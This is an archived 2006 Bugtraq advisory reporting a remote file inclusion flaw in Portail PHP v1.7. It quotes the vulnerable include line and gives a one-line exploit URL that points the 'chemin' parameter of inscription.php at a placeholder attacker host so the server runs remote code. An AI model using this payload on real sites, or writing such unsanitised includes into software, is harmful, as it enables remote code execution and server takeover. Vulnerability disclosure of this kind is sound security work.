Bugtraq mailing list archives

Portail PHP v1.7 Remote File Include

From: Meftun () MeftunNet Com
Date: 28 Jul 2006 10:31:24 -0000

Portail PHP v1.7 <- (chemin) Remote Inclusion Vulnerability

#Author: #######################
         #########C-W-M#########
         ###www.meftunnet.com###
         #########TURKEI########
         #######################

#script: Portail PHP

#Class : Remote

#cont@ct: meftun[at]meftunnet[dot]com

#CODE:    include ("$chemin/include/config.php")

#Exploit:
http://www.site.com/[path]/mod_membre/inscription.php?chemin=http://evil_scripts?

#Thanx : Www.HackMaster.Us

#Greetz: RooTTeR, XYU, Cyborg, BuZuL and all Hackmaster.Us Users

Current thread:

Portail PHP v1.7 Remote File Include Meftun (Jul 28)
- <Possible follow-ups>
- Re: Portail PHP v1.7 Remote File Include x0r0n (Jul 31)